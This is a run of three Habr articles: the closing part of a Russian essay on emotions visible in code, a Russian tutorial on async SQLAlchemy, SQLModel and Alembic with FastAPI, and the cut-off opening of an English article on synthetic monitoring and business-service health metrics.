Конечно, не все программисты эгоисты. Некоторые из них просто не могут утруждать себя. "Неважно; это работает. В основном. У нас есть тестировщики, верно?". Они не используют библиотеки, потому что сопротивляются изучению новшеств или поиску дополнительных способов сделать что-то. Они заняты набором кода. Или копипастом. "Абстракция? По-моему, это похоже на работу!" Когда предлагаешь им добавить тестирование, автоматизацию или скрипты, скорее всего услышишь в ответ: "Если считаешь, что это важно, делай сам". Они не проявляют никакого стремления к качеству кода, пользовательскому опыту, срокам, собственному будущему, успеху компании или целям команды. Просто приходят, набирают текст, не задумываясь, и уходят домой, получив деньги за день, независимо от того, что было сделано. И это видно в коде!
Дело не только в том, что они не провели рефакторинг, не заметили полезных абстракций, не назвали вещи хорошими именами. Можно увидеть повторения, очень длинные функции, мешанину из соглашений об именовании - все то, что легко вычистить в спокойный день, когда не хочется думать о новом коде. Но времени на это просто нет. Вы видите ошибки, которые было бы легко обнаружить, если повысить уровень предупреждения, потому что понижение — это классический способ ленивого человека заставить свой код компилироваться и запускаться. И вы наблюдаете дезорганизацию и беспорядок, потому что усилия, которые необходимо затратить на то, чтобы четко обдумать проблему, сообщить о ней и организовать код, требуют больше усилий, чем этот разработчик готов приложить.
Теперь предупреждение. Некоторые команды практикуют кранч. Если вы удерживаете коллектив в режиме "кранч" неопределенное время, то в итоге все начнут вести себя так, что это будет неотличимо от лени. У них буквально не будет времени на то, чтобы узнать, как сделать что-то быстрее. Они живут в страхе перед дедлайном, потому что если срок будет сорван, их уволят, компания рухнет, их навсегда станут ассоциировать с провальным проектом. Они не могут сейчас инвестировать час, чтобы затем выиграть день или неделю. Никто не даст им этот час. Они и так не высыпаются и ведут учет того, чей именно брак оказался неудачным, на информационной доске в общей комнате. Код, который выходит после кранча, редко бывает хорошим. Иногда это не имеет значения. Хорошие команды, если необходимо, возвращаются и наводят порядок после, когда сроки вышли. Когда никто этого не сделал, а артефакты все еще в коде, значит существует ленивый разработчик, которому все сходит с рук, или перегоревший программист, за которым никто не присматривает, или, вероятно, это вечный кранч. Плохой код напрямую указывает на неправильные методы управления.
**Почему это важно?**
Так что, действительно, ваш код может демонстрировать эмоции. Я могу увидеть страх, высокомерие, эгоизм, лень и многое другое прямо на экране. В определенном смысле верно, что код — это только логика и лишен чувств. Вам предложено правило типа "если сегодняшняя дата после установленного срока, то изделие просрочено, и поэтому оно будет обработано вот таким образом". В этом нет никаких эмоций. Человек не получает послабления в процессе просрочки, потому что он симпатичен, и не получает дополнительную плату за грубость. Однако смысл в способе реализации этого правила, включая имена переменных и функций, которые вы используете, делаете ли вы проверку просроченности функцией-членом чего-либо, какой тип данных вы используете для обозначения дат и как проводите проверку "после", — все это может содержать и действительно вызывать эмоции у того, кто знает, как правильно это прочитать.
Конечно, одно буквенное имя переменной не делает человека психопатом. Иногда назвать переменную `i` — это правильно. Я вижу эмоции в шаблонных схемах, а не в единичных случаях. И если вы видите паттерн и узнаете о команде и разработчиках, то не будете искать автора кода и говорить: "Вау! Раньше я не знал, насколько ты всегда боишься!". Осознание эмоциональных причин плохого кода может дать вам эмпатию при его чтении и исправлении. Читая старый код, я больше не восклицаю "О чем вы думали?". Теперь я понимаю, что иногда люди испытывали нехватку времени, их контролировали, они получали малоприятные рецензии на код или им не хватало инструментов, которыми мы все пользуемся, и в результате все это привело к созданию такого кода.
Обретая такие познания, я, естественно, предлагаю внести необходимые изменения в команду или на рабочем месте. Это может означать, что конкретному участнику коллектива следует чему-то научиться, или надо скорректировать определенную практику менеджмента. Спросите себя, вызывают ли ваши методы управления проблемы с производительностью во время рантайма? Зачастую так и есть, и осознания этого может быть достаточно, чтобы добиться их изменения. Это также поможет направить ваши усилия на то, чтобы заставить конкретного разработчика писать лучший код. Если они пишут плохой код, так как боятся, что их уволят, если они пропустят срок, или не закрывают достаточно тикетов каждый день, либо получают запросы на изменения после ревью кода, то, очевидно, способ повлиять на то, чтобы они работали лучше, — успокоить по поводу таких страхов. Орать на них, чтобы они повысили качество кода, — значит только усилить их испуг и, скорее всего, по этой причине сделать результат еще хуже. Однако, если кто-то пишет плохой код, потому что он эгоистичен или высокомерен, и не заинтересован в облегчении работы для остальной части команды, он не нуждается в успокоении, скорее, ему нужно напомнить о том, что именно является важным для его работодателя.
| |
| --- |
| Вызывают ли ваши методы управления проблемы с производительностью во время рантайма? |
В процессе написания я также помню об эмоциях, которые демонстрирует мой код — даже одностраничные сэмплы, которые могут поместиться на слайде или в статье. Люди будут копировать то, что они видят в вашей кодовой базе, когда работают над ней. Хотите ли вы, чтобы они копировали страх, высокомерие или эгоизм, которые они там видят? Нужно ли вам, чтобы они считали, будто хорошие разработчики используют короткие и бессмысленные имена?
**Загляни туда, куда хочешь попасть**
Возникает соблазн сделать вывод, что нужно попытаться убрать эмоции из кода. Но не думаю, что это возможно. Плохой код, демонстрирующий, что автор испытывает страх, является робким, чрезмерно осторожным, самозащищенным. Избавьтесь от этой фобии, и у вас будет не нейтральный, а уверенный и эффективный код. Эгоистичный код, который аккумулировал информацию, после рефакторинга, позволяющего раскрыть себя и дать четкие имена, не является нейтральным: он щедрый. Когда вы поймете, что все написанное вызывает хорошие или плохие эмоции, то почему бы не уделить время и не приложить усилия, чтобы показать, чего вы стоите, и создать код, который будет вдохновлять и помогать другим?
**Уверенность**
Вы можете продемонстрировать уверенность в своем коде. Начните с удаления того, что вам не нужно — старого кода, переменных, значения которых не используются, переменных-членов, которые никогда не задаются и не считываются. В конце концов, у вас есть контроль исходного кода. Я делаю "рабочие заметки", выполняя определенные задачи, и если вырываю несколько строк из кода, которые теперь устарели, то могу поместить их в заметки, так как там найти их будет легче, чем если бы они остались в теле, и при этом были бы закомментированы. В качестве приятного побочного эффекта, мой код теперь выглядит не таким условным, он в меньшей степени переживает о будущем, и о том, что обо мне подумает рецензент.
После добавления функции, исправления ошибки или другой работы над кодом, найдите время, чтобы привести его в порядок. Вы никогда не будете знать об этом коде больше, нежели сейчас, и теперь самое время зафиксировать эти знания в нем самом. Дайте вещам имена, которые объясняют ход ваших мыслей. Оставляйте комментарии, которые помогут людям пройти через острые грани, если таковые имеются. Это способно выручить вас позже или кого-то еще. Такой код говорит: "Я уверен в своей правоте, позвольте мне это продемонстрировать".
Если вам попадается что-то устаревшее, измените это, используя новые возможности языка. (У вас же есть тесты, верно?) Столкнувшись с чем-то, сделанным вручную, поменяйте это на хорошо известный библиотечный подход. (Опять же, у вас есть тесты. Вы можете это сделать.) Когда вы обнаружите множество имен переменных типа `r1`, `r2`, `r3`, замените их на что-то лучшее. Пусть ваш код скажет: "Я достаточно смел, чтобы отстоять правильное решение".
**Скромность**
Противоположностью высокомерия является скромность. Осознание того, что вы хороши, не то же самое, чтобы считать себя лучшим во всем. Код, признающий, что очередной его читатель, вероятно, является хорошим разработчиком, заслуживающим разъяснений, — это скромный код. Поэтому используйте библиотеки и включайте в них ссылку на документацию. В C++ легко добавить комментарий к строке, где вы `#include` (включаете) файл заголовка. В остальных языках вы сможете найти другое место для комментария, чтобы люди, которые будут копипастить позже, вставили ссылку, а также код, использующий библиотеку.
Пишите деликатные комментарии, которые объясняют "почему", а не "что". Но не полагайтесь только на комментарии. Когда что-то не очевидно, и вы хотите оставить какую-то помощь следующему, имена всегда лучше, чем комментарии для функций, переменных — всего. Когда вы представляете себе следующего читателя вашего кода, не думайте о том, что он будет хуже вас, а наоборот — только лучше. В конце концов, в будущем вы, скорее всего, будете лучше, чем сейчас, а будущий вы — это наиболее вероятный следующий читатель вашего кода.
**Щедрость и трудолюбие**
У меня загораются глаза, при чтении кода, который действительно хорошо сделан. Когда видишь чистое проектирование, выполненное с целью облегчить работу в дальнейшем, продуманную инкапсуляцию и тот самый неуловимый соответствующий уровень абстракции. Кто-то потратил время на наведение порядка: рефакторинг, перестановку и переименование вещей, чтобы код имел смысл и направлял меня в процессе работы.
Обмен информацией также отличается щедростью; это те, кто думает: "Моя работа в безопасности, если мы все сможем это сделать". Их комментарии поучительны, они выбрали хорошие имена, и расположили код в порядке, который имеет понятный читателю смысл: "Сначала мы готовим заказ, потом отправляем его, далее обновляем инвентаризацию. Я понял". Добиться такой ясности нелегко, и, как правило, это не то, что вы пишете с первого раза. Кто-то приложил усилия, чтобы сделать этот код хорошим.
Иногда код просто поражает вас своим великолепием. Это ясно и очевидно правильно, его очень легко понять. Это совсем не значит, что это умно. Я имею в виду, что это наглядно. Рассмотрим этот C#:
```
var creditScore = application.CreditScore;
switch (creditScore)
{
case int n when (n <= 50):
return false;
case int n when (n > 50):
return true;
default:
return false;
}
```
Этот код неплох. Он компилируется без предупреждений, и в нем реализована необходимая логика. Но здесь есть три кейса (два диапазона и значение по умолчанию) и много мест, где можно допустить ошибки. Кто-то может вернуть `true` с помощью двух операторов возврата вместо одного. Можно изменить значение 50 в первом случае, но забыть изменить его во втором. И так далее. Самое главное, что вам потребуется некоторое время, чтобы разобраться во всем этом и понять какое правило здесь реализовано. Сравните с этой строкой:
```
return (application.CreditScore > 50);
```
Он делает то же самое. Он намного короче и не может быть непоследовательным. Здесь есть только одно число 50 — при его изменении оно поменяется во всех нужных местах. Не нужно отвлекать читателя, рассматривающего ваш случай по умолчанию, пытаясь представить целое число, которое не удовлетворяет ни одному из первых двух кейсов. И нет локальной переменной, которую нужно отслеживать в коде: одним подвижным элементом меньше. Зачем читателю держать его в голове.
Редко, когда просматривая существующий код команды, можно обнаружить, что он свободно компилируется, компонуется, запускается и проходит тесты. Конечно, компилируется, но есть предупреждения. Может быть, сотни. И все члены команды знают, что их 417, а если будет 418, то кто-то должен разобраться в этом. Или он запускается, но при старте вы получаете исключение, поэтому просто нажимайте "Продолжить" и не беспокойтесь об этом. Либо он оставляет после себя несколько `stray` файлов, и вам приходится вручную удалять их, прежде чем запустить его снова. Или он прошел тесты, но их было всего семь. Когда я встречаю код, который компилируется без предупреждений, работает нормально без ручного вмешательства, имеет полные и хорошо документированные тесты, то чувствую, что обо мне действительно заботятся. Вот тот, кого не нужно просить сделать все правильно. Они применяют инструменты не ради их существования, не для развлечения, а для того, чтобы все работало как надо.
Я тоже вижу подобную трудовую этику, когда заглядываю внутрь кода. В нем используются современные конструкции или библиотеки, потому что разработчики постоянно учатся. Они следуют современным практикам, а не просто пишут код. Такой код (а также скрипты и тесты, которые его сопровождают) демонстрирует приверженность к развитию и перспективе, удобству для самого разработчика и успешности работы команды. Это код трудолюбивого программиста, не делающего минимум, лишь бы схалтурить. Кто не просто копирует что было раньше, включая плохие шаблоны и плохой код. Который тратит время чтобы выяснить, не пришла ли сейчас пора изменить то, что уже выросло органично, стало громоздким и не удобным в эксплуатации.
**Выбирайте положительные эмоции**
Конечно, ваш код может демонстрировать страх, эгоизм, лень и высокомерие. Но почему бы не показать уверенность, щедрость, скромность и то, насколько вы трудолюбивы? Ваш код будет легче читать и поддерживать. Вы будете получать больше удовольствия от его чтения и сопровождения, а ваша репутация улучшится, поскольку другие люди осознают, что они могут понять то, что вы пишете, что это легко изменить, если в жизни произойдут перемены, и что это, в общем-то, лучший код. Даже если он не будет идеальным, можно извлечь много пользы из того, что будете создавать код таким образом. Возможно, так будет гораздо правильнее.
Я хочу, чтобы вы заботились о тех, кто написал код, который вы поддерживаете, и о тех, кто поддерживает код, который вы пишете. Когда вы находите плохой код, исправляйте его. Продемонстрируйте свою уверенность. Приведите его в порядок. Делайте все как надо. Называйте вещи правильно. В вашем коде будут проявляться эмоции, и лучше, чтобы они были положительными!
---
Приглашаем всех желающих на открытый урок «**Системы контроля версий, Git**». На нем мы поговорим про системы управления версиями (больше, конечно же, про Git), а также продемонстрируем как начать работать с проектом на примере Git + GitHub. [Регистрация здесь.](https://otus.pw/O09k/) | https://habr.com/ru/post/659451/ | null | ru | null |
# Как настроить SQLAlchemy, SQLModel и Alembic для асинхронной работы с FastAPI
В этом руководстве предполагается, что у вас есть опыт работы с FastAPI и Postgres с помощью Docker. Вам нужна помощь, чтобы ускорить работу с FastAPI, Postgres и Docker? Начните со следующих ресурсов:
1. [Разработка и тестирование асинхронного API с помощью FastAPI и Pytest](https://testdriven.io/blog/fastapi-crud/)
2. [Разработка на основе тестирования с помощью FastAPI и докера](https://testdriven.io/courses/tdd-fastapi/)
### Настройка проекта
Начните с клонирования базового проекта из репозитория [fastapi-sqlmodel-alembic](https://github.com/testdrivenio/fastapi-sqlmodel-alembic):
```
$ git clone -b base https://github.com/testdrivenio/fastapi-sqlmodel-alembic
$ cd fastapi-sqlmodel-alembic
```
В корневом каталоге проекта создайте образы и разверните контейнеры Docker:
```
$ docker-compose up -d --build
```
Как только сборка будет завершена, перейдите к <http://localhost:8004/ping>. Вы должны увидеть:
```
{
"ping": "pong!"
}
```
Прежде чем двигаться дальше, посмотрите на структуру проекта.
SQLModel
--------
Далее, давайте добавим библиотеку [SQLModel](https://sqlmodel.tiangolo.com/) для взаимодействия с SQL-базами данных с помощью объектов Python. По сути, это оболочка поверх [pydantic](https://pydantic-docs.helpmanual.io/) и [SQLAlchemy](https://www.sqlalchemy.org/), основанная на аннотациях типов Python.
Нам также понадобится [Psycopg](https://www.psycopg.org/).
Добавьте две зависимости в *project/requirements.txt*:
```
fastapi==0.68.1
psycopg2-binary==2.9.1
sqlmodel==0.0.4
uvicorn==0.15.0
```
Создайте два новых файла в разделе "проект/приложение", *db.py* и *models.py*.
*project/app/models.py*:
```
from sqlmodel import SQLModel, Field
class SongBase(SQLModel):
name: str
artist: str
class Song(SongBase, table=True):
id: int = Field(default=None, primary_key=True)
class SongCreate(SongBase):
pass
```
Здесь мы определили три модели:
1. SongBase это базовая модель, от которой наследуются другие. У неё есть два свойства name и artist, оба из которых являются строками. Это модель только для данных , так как в ней нет table=True, а это значит, что она используется только в качестве модели pydantic.
2. Song Тем временем добавляет id в базовую модель. Это табличная модель, так что это модель pydantic и SQLAlchemy. Она представляет собой таблицу базы данных.
3. SongCreate это модель pydantic, основанная только на данных, которая будет использоваться для создания новых экземпляров песен.
*project/app/db.py*:
```
import os
from sqlmodel import create_engine, SQLModel, Session
DATABASE_URL = os.environ.get("DATABASE_URL")
engine = create_engine(DATABASE_URL, echo=True)
def init_db():
SQLModel.metadata.create_all(engine)
def get_session():
with Session(engine) as session:
yield session
```
Здесь мы:
1. Инициализировал новый [движок SQLAlchemy](https://docs.sqlalchemy.org/en/14/core/engines.html) с использованием create\_engine из SQLModel. Основные различия между версией create\_engine из SQLModel и версией SQLAlchemy заключаются в том, что версия SQLModel добавляет аннотации типов (для поддержки редактора) и включает [стиль движков и соединений SQLAlchemy "2.0"](https://docs.sqlalchemy.org/en/14/core/future.html). Кроме того, мы передаём echo=True чтобы мы могли видеть сгенерированные SQL-запросы в терминале. Это всегда приятно включать в режиме отладки.
2. Создали сеанс SQLAlchemy.
Далее, внутри *project/app/main.py*, давайте создадим таблицы при событии startup:
```
from fastapi import FastAPI
from app.db import init_db
from app.models import Song
app = FastAPI()
@app.on_event("startup")
def on_startup():
init_db()
@app.get("/ping")
async def pong():
return {"ping": "pong!"}
```
Стоит отметить, что строчка `from app.models import Song` обязательна. Без неё таблица песен не будет создана.
Чтобы протестировать, удалите старые контейнеры и тома, соберите заново образы и разверните новые контейнеры:
```
$ docker-compose down -v
$ docker-compose up -d --build
```
Откройте логи контейнеров через docker-compose logs web. Вы должны увидеть:
```
web_1 | CREATE TABLE song (
web_1 | name VARCHAR NOT NULL,
web_1 | artist VARCHAR NOT NULL,
web_1 | id SERIAL,
web_1 | PRIMARY KEY (id)
web_1 | )
```
Откройте psql:
```
$ docker-compose exec db psql --username=postgres --dbname=foo
psql (13.4 (Debian 13.4-1.pgdg100+1))
Type "help" for help.
foo=# \dt
List of relations
Schema | Name | Type | Owner
--------+------+-------+----------
public | song | table | postgres
(1 row)
foo=# \q
```
Теперь, когда таблица создана, давайте добавим несколько новых маршрутов в *project/app/main.py*:
```
from fastapi import Depends, FastAPI
from sqlalchemy import select
from sqlmodel import Session
from app.db import get_session, init_db
from app.models import Song, SongCreate
app = FastAPI()
@app.on_event("startup")
def on_startup():
init_db()
@app.get("/ping")
async def pong():
return {"ping": "pong!"}
@app.get("/songs", response_model=list[Song])
def get_songs(session: Session = Depends(get_session)):
result = session.execute(select(Song))
songs = result.scalars().all()
return [Song(name=song.name, artist=song.artist, id=song.id) for song in songs]
@app.post("/songs")
def add_song(song: SongCreate, session: Session = Depends(get_session)):
song = Song(name=song.name, artist=song.artist)
session.add(song)
session.commit()
session.refresh(song)
return song
```
Добавьте песню:
```
$ curl -d '{"name":"Midnight Fit", "artist":"Mogwai"}' -H "Content-Type: application/json" -X POST http://localhost:8004/songs
{
"id": 1,
"name": "Midnight Fit",
"artist": "Mogwai"
}
```
В браузере перейдите к <http://localhost:8004/songs>. Вы должны увидеть:
```
{
"id": 1,
"name": "Midnight Fit",
"artist": "Mogwai"
}
```
### Асинхронная модель SQLModel
Двигаясь дальше, давайте добавим поддержку асинхронности в SQLModel.
Во-первых, остановите контейнеры и тома:
```
$ docker-compose down -v
```
Обновите URI базы данных в *docker-compose.yml*, добавив в
```
+asyncpg:
environment:
- DATABASE_URL=postgresql+asyncpg://postgres:postgres@db:5432/foo
```
Затем замените Psycopg на [asyncpg](https://magicstack.github.io/asyncpg/):
```
asyncpg==0.24.0
fastapi==0.68.1
sqlmodel==0.0.4
uvicorn==0.15.0
```
Обновление *project/app/db.py*: чтобы использовать асинхронность в SQLAlchemy engine и session:
```
import os
from sqlmodel import SQLModel
from sqlalchemy.ext.asyncio import AsyncSession, create_async_engine
from sqlalchemy.orm import sessionmaker
DATABASE_URL = os.environ.get("DATABASE_URL")
engine = create_async_engine(DATABASE_URL, echo=True, future=True)
async def init_db():
async with engine.begin() as conn:
# await conn.run_sync(SQLModel.metadata.drop_all)
await conn.run_sync(SQLModel.metadata.create_all)
async def get_session() -> AsyncSession:
async_session = sessionmaker(
engine, class_=AsyncSession, expire_on_commit=False
)
async with async_session() as session:
yield session
```
Примечания:
1. Мы использовали конструкции SQLAlchemy, например, [create\_async\_engine](https://docs.sqlalchemy.org/en/14/orm/extensions/asyncio.html#sqlalchemy.ext.asyncio.create_async_engine) и [AsyncSession](https://docs.sqlalchemy.org/en/14/orm/extensions/asyncio.html#sqlalchemy.ext.asyncio.AsyncSession), поскольку на момент написания SQLModel для них не было обёрток.
2. Мы отключили [expire on commit](https://docs.sqlalchemy.org/en/14/orm/extensions/asyncio.html#preventing-implicit-io-when-using-asyncsession) передав `expire_on_commit=False` .
3. `metadata.create_all` не выполняется асинхронно, поэтому мы использовали [run\_sync](https://docs.sqlalchemy.org/en/14/orm/extensions/asyncio.html#sqlalchemy.ext.asyncio.AsyncSession.run_sync) для его синхронного выполнения в асинхронной функции.
Превратите `on_startup` в асинхронную функцию в *project/app/main.py*:
```
@app.on_event("startup")
async def on_startup():
await init_db()
```
Вот и все. Пересоберите образы и запустите контейнеры:
```
$ docker-compose up -d --build
```
Убедитесь, что таблицы были созданы.
Наконец, обновите обработчики маршрутов в *project/app/main.py* чтобы использовать асинхронное выполнение:
```
from fastapi import Depends, FastAPI
from sqlalchemy.future import select
from sqlalchemy.ext.asyncio import AsyncSession
from app.db import get_session, init_db
from app.models import Song, SongCreate
app = FastAPI()
@app.on_event("startup")
async def on_startup():
await init_db()
@app.get("/ping")
async def pong():
return {"ping": "pong!"}
@app.get("/songs", response_model=list[Song])
async def get_songs(session: AsyncSession = Depends(get_session)):
result = await session.execute(select(Song))
songs = result.scalars().all()
return [Song(name=song.name, artist=song.artist, id=song.id) for song in songs]
@app.post("/songs")
async def add_song(song: SongCreate, session: AsyncSession = Depends(get_session)):
song = Song(name=song.name, artist=song.artist)
session.add(song)
await session.commit()
await session.refresh(song)
return song
```
Добавьте новую песню и убедитесь[, что http://localhost:8004/songs](http://localhost:8004/songs) работает, как и ожидалось.
Alembic
-------
Наконец, давайте добавим [Alembic](https://alembic.sqlalchemy.org/), чтобы правильно обрабатывать изменения схемы базы данных.
Добавьте его в файл требований:
```
alembic==1.7.1
asyncpg==0.24.0
fastapi==0.68.1
sqlmodel==0.0.4
uvicorn==0.15.0
```
Удалите событие запуска из *project/app/main.py* так как мы больше не хотим, чтобы таблицы создавались при запуске:
```
@app.on_event("startup")
async def on_startup():
await init_db()
```
Опять же, остановите существующие контейнеры и тома:
```
$ docker-compose down -v
```
Перезапустите контейнеры:
```
$ docker-compose up -d --build
```
Взгляните на [использование Asyncio с Alembic](https://alembic.sqlalchemy.org/en/latest/cookbook.html#using-asyncio-with-alembic), пока создаются новые образы.
После запуска контейнеров инициализируйте Alembic с [помощью асинхронного](https://github.com/sqlalchemy/alembic/tree/rel_1_7_1/alembic/templates/async) шаблона:
```
$ docker-compose exec web alembic init -t async migrations
```
В созданной папке "проект/миграции" импортируйте SQLModel в *script.py.mako*, файл шаблона Mako:
```
"""${message}
Revision ID: ${up_revision}
Revises: ${down_revision | comma,n}
Create Date: ${create_date}
"""
from alembic import op
import sqlalchemy as sa
import sqlmodel # NEW
${imports if imports else ""}
# revision identifiers, used by Alembic.
revision = ${repr(up_revision)}
down_revision = ${repr(down_revision)}
branch_labels = ${repr(branch_labels)}
depends_on = ${repr(depends_on)}
def upgrade():
${upgrades if upgrades else "pass"}
def downgrade():
${downgrades if downgrades else "pass"}
```
Теперь, когда будет создан новый файл миграции, он будет включать `import sqlmodel` .
Далее, нам нужно обновить верхнюю часть *project/migrations/env.py* вот так:
```
import asyncio
from logging.config import fileConfig
from sqlalchemy import engine_from_config
from sqlalchemy import pool
from sqlalchemy.ext.asyncio import AsyncEngine
from sqlmodel import SQLModel # NEW
from alembic import context
from app.models import Song # NEW
# this is the Alembic Config object, which provides
# access to the values within the .ini file in use.
config = context.config
# Interpret the config file for Python logging.
# This line sets up loggers basically.
fileConfig(config.config_file_name)
# add your model's MetaData object here
# for 'autogenerate' support
# from myapp import mymodel
# target_metadata = mymodel.Base.metadata
target_metadata = SQLModel.metadata # UPDATED
# other values from the config, defined by the needs of env.py,
# can be acquired:
# my_important_option = config.get_main_option("my_important_option")
# ... etc.
...
```
Здесь мы импортировали SQLModel и нашу модель песни. Затем мы устанавливаем в `target_metadata` [метаданные нашей модели](https://docs.sqlalchemy.org/en/14/core/metadata.html#sqlalchemy.schema.MetaData), `SQLModel.metadata`. Для получения дополнительной информации об аргументе `target_metadata` ознакомьтесь с [Автоматической генерацией миграций](https://alembic.sqlalchemy.org/en/latest/autogenerate.html) из официальных документов Alembic.
Обновите `sqlalchemy.url`в *проекте/alembic.ini*:
```
sqlalchemy.url = postgresql+asyncpg://postgres:postgres@db:5432/foo
```
Чтобы создать первый файл миграции, выполните:
```
$ docker-compose exec web alembic revision --autogenerate -m "init"
```
Если все прошло хорошо, вы должны увидеть новый файл миграции в разделе "project/migrations/versions", который выглядит примерно так:
```
"""init
Revision ID: f9c634db477d
Revises:
Create Date: 2021-09-10 00:24:32.718895
"""
from alembic import op
import sqlalchemy as sa
import sqlmodel
# revision identifiers, used by Alembic.
revision = 'f9c634db477d'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table('song',
sa.Column('name', sqlmodel.sql.sqltypes.AutoString(), nullable=False),
sa.Column('artist', sqlmodel.sql.sqltypes.AutoString(), nullable=False),
sa.Column('id', sa.Integer(), nullable=True),
sa.PrimaryKeyConstraint('id')
)
op.create_index(op.f('ix_song_artist'), 'song', ['artist'], unique=False)
op.create_index(op.f('ix_song_id'), 'song', ['id'], unique=False)
op.create_index(op.f('ix_song_name'), 'song', ['name'], unique=False)
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_index(op.f('ix_song_name'), table_name='song')
op.drop_index(op.f('ix_song_id'), table_name='song')
op.drop_index(op.f('ix_song_artist'), table_name='song')
op.drop_table('song')
# ### end Alembic commands ###
```
Примените миграцию:
```
$ docker-compose exec web alembic upgrade head
```
Убедитесь, что вы можете добавить песню.
Давайте быстро протестируем изменение схемы. Обновите модель `SongBase` в *project/app/models.py*:
```
class SongBase(SQLModel):
name: str
artist: str
year: Optional[int] = None
```
Не забывайте об импорте:
```
from typing import Optional
```
Создайте новый файл миграции:
```
$ docker-compose exec web alembic revision --autogenerate -m "add year"
```
Обновите функции `upgrade и downgrade` из автоматически сгенерированного файла миграции следующим образом:
```
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column('song', sa.Column('year', sa.Integer(), nullable=True))
op.create_index(op.f('ix_song_year'), 'song', ['year'], unique=False)
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_index(op.f('ix_song_year'), table_name='song')
op.drop_column('song', 'year')
# ### end Alembic commands ###
```
Примените миграцию:
```
$ docker-compose exec web alembic upgrade head
```
Обновите обработчики маршрутов:
```
@app.get("/songs", response_model=list[Song])
async def get_songs(session: AsyncSession = Depends(get_session)):
result = await session.execute(select(Song))
songs = result.scalars().all()
return [Song(name=song.name, artist=song.artist, year=song.year, id=song.id) for song in songs]
@app.post("/songs")
async def add_song(song: SongCreate, session: AsyncSession = Depends(get_session)):
song = Song(name=song.name, artist=song.artist, year=song.year)
session.add(song)
await session.commit()
await session.refresh(song)
return song
```
Тест:
```
$ curl -d '{"name":"Midnight Fit", "artist":"Mogwai", "year":"2021"}' -H "Content-Type: application/json" -X POST http://localhost:8004/songs
```
Вывод
-----
В этом руководстве мы рассмотрели, как настроить SQLAlchemy, SQLModel и Alembic для асинхронной работы с FastAPI.
Вы можете найти исходный код в репозитории [fastapi-sqlmodel-alembic](https://github.com/testdrivenio/fastapi-sqlmodel-alembic). Ваше здоровье! | https://habr.com/ru/post/580866/ | null | ru | null |
# Application performance monitoring and health metrics without APM
I have already written about AIOps and machine learning methods in working with IT incidents, about hybrid umbrella monitoring and various approaches to service management. Now I would like to share a very specific algorithm, how one can quickly get information about functioning conditions of business applications using synthetic monitoring and how to build, on this basis, the health metric of business services at no special cost. The story is based on a real case of implementing the algorithm into the IT system of one of the airlines.
Currently there are many APM systems, such as Appdynamics, Dynatrace, and others, having a UX control module inside that uses synthetic checks. And if the task is to learn about failures quicker than customers, I will tell you why all these APM systems are not needed. Also, nowadays health metrics are a fashionable feature of APM and I will show how you can build them without APM.
Why another solution when there are already several IT monitors?
----------------------------------------------------------------
Well-configured IT monitoring allows to remove many IT support tasks, but it has some limitations in solving several problems:
**1. First of all, the planes**
Technical monitoring does not allow assessing the state of business functions of IT systems and infrastructure at sites. For example, when a communication channel on a site is lost, this is an event for a network engineer but not for the business. We have more complex cases, when there are several rooms with terminals where flight crews must go through a check-in procedure and there are up to five terminals in each room. It is understood that during the "fly-off" a breakdown of one or two terminals in a room does not affect the procedure, but three or four breakdowns could create a queue for the flight crews, which may affect the performance of one of the important metrics - " fulfillment of the flight plan”, so, a part of the flight crew must be sent to another room. With a loss of five terminals, we lose a number of business functions in this room and BCP (Business Continuity Planning) procedure is launched - an action plan when a business works without access to IT systems. It is difficult to set up such cases with simple technical monitoring, and product teams need a simple tool that does not require deep competencies in IT monitoring.
**2. Check performance of applications, but don’t dig into the processing of results**
It is almost impossible to provide 100% covering of complex systems by monitoring metrics or logs. There is always something that is hidden from monitoring, due to which business functions of the system may be unavailable or degraded. And here it comes handy the way of checking the state of the system through emulation of actions of a customer using the method of synthetic transactions, that is, imitation of how a person in a browser or on an application client clicks on buttons and gets a certain result. Such an emulation is guaranteed to tell about the availability of the business function for other users. But there might be many systems and tests and it is laborious and time-consuming to view the results for each of them. That is why we also need a tool for "orchestration" of synthetic tests and visualization of the results.
**3. Stop calling and asking "the only one who knows"**
In organizations with large IT infrastructure all systems are intertwined with each other by integrations so that it is sometimes difficult to understand where one system ends and another begins. As a result, if one system fails it is not at all obvious how it will affect other systems. Information about the interconnection of systems is usually stored only in one "repository" - in the heads of technical leads of product teams. It is necessary to make this data open and accessible so that in the event of a failure it would not be necessary to pry out any available information from employees. This problem could be solved by a resource-service model (RSM) which would reflect the influence of various elements of the infrastructure on the stability of the business.
**4. Houston, we have a problem... or not?**
Specifically, this airline used several monitoring systems:
1. monitoring of "boxes" and communication channels: Zabbix, Prometheus for systems in Kubernetes,
2. monitoring of logs on the platform of the ELK family (elastic - logstash - kibana).
Any of those could report deviations and, in general, there was no common place where one can see the state of the components as a whole.
**5. Reports are not for the sake of reports**
Management wants to see the health of business functions, not IT components, both in retrospect and in real time. Reports should be available in one place with visualizations that are understandable for "not techies", and not in interfaces created by engineers for engineers (like Zabbix or Grafana dashboards). Such reports should be daily and reflect what happened during the day in areas of responsibility of different performers and what events influenced the degradation of a particular service. Previously, such reports were often subjective because they were based on summaries provided by the engineers about significant events. As a rule, the management had to call each person in charge personally and clarify the details.
**6. Where to run first?**
There was also a need to calculate SLA taking into account the impact on the business. For example, there is a flight to a certain city on Wednesdays. The inaccessibility of communication with the airport on other days, as well as on the day of the flight around five o'clock before departure, in fact, has no effect on the business. I would like to take this into account when analyzing the SLA for the period. In addition, SLA should help engineers prioritize actions: it is one thing if an event occurs around the departure time, when you have to react to it 24/7 and urgently, another thing if no one plans to use IT functions in the near future, than such events can just be put in the common queue. It was wanted to solve these problems with an intuitive tool that does not require deep technical competencies from product teams.
We began to implement a solution that would cover all these tasks that are not handled properly by IT monitoring. As a result, we come up with the following set of monitoring components:
1. Zabbix and Prometheus for metrics analysis,
2. ELK for analysis of logs,
3. Jenkins for managing the launch of synthetic checks which are, in fact, autotests, plus Selenium as a library with which the autotests are written in Python,
4. Monq for aggregating all events, orchestrating synthetic checks, combined analytics and process automation.
In this case, the first two components were already in place, and the second two had to be installed and integrated with each other.
It was necessary to solve the following tasks:
1. Ensure that the solution can act as a single common place for data aggregation from all current monitoring systems,
2. Visualize and bring onto a single screen the results of functional synthetic tests, both for web interfaces and for desktop applications,
